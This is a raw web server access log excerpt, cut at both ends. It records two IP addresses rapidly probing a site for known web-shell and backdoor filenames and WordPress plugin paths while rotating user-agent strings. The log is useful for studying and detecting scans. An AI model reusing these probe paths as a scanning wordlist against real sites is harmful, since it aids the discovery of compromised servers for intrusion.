(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:45:52 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:45:53 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:45:53 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:54 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:54 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:45:55 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:45:55 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:56 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:56 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 103.214.20.190 - - [09/Apr/2026:00:45:57 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:45:57 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:45:58 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:58 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:45:59 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.190 - - [09/Apr/2026:00:45:59 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:46:00 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:46:00 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:01 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:01 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:02 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:02 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:03 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:46:03 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:04 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:04 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:05 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:46:05 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:46:06 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:46:06 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:07 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:07 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:08 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:46:08 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:46:09 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:46:09 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.190 - - [09/Apr/2026:00:46:10 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:10 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:11 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:11 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.190 - - [09/Apr/2026:00:46:12 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:12 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:13 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:13 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.190 - - [09/Apr/2026:00:46:14 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:15 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:15 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:16 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:46:16 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.190 - - [09/Apr/2026:00:46:17 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:46:17 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:18 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:18 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.190 - - [09/Apr/2026:00:46:19 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:46:19 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.190 - - [09/Apr/2026:00:46:20 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:46:20 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:46:21 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:21 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:22 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:46:22 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:23 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:46:23 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:46:24 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.190 - - [09/Apr/2026:00:46:24 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:46:25 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:46:38 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:39 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:46:39 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:40 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.206 - - [09/Apr/2026:00:46:41 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:41 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:46:42 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:46:42 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:43 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:43 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:44 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.206 - - [09/Apr/2026:00:46:44 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:45 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:45 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.206 - - [09/Apr/2026:00:46:46 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:46 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:46:47 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:46:47 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.206 - - [09/Apr/2026:00:46:48 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:48 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:46:49 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:49 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:50 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:46:50 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:46:51 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:51 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:52 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:46:52 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:53 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.206 - - [09/Apr/2026:00:46:53 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:54 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:46:54 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.206 - - [09/Apr/2026:00:46:55 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:46:55 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:56 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.206 - - [09/Apr/2026:00:46:56 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:57 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:46:57 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:46:58 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 103.214.20.206 - - [09/Apr/2026:00:46:59 +0300] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:59 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:46:59 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 103.214.20.206 - - [09/Apr/2026:00:47:00 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.206 - - [09/Apr/2026:00:47:00 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.206 - - [09/Apr/2026:00:47:01 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:02 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.206 - - [09/Apr/2026:00:47:02 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 103.214.20.206 - - [09/Apr/2026:00:47:03 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.206 - - [09/Apr/2026:00:47:03 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) 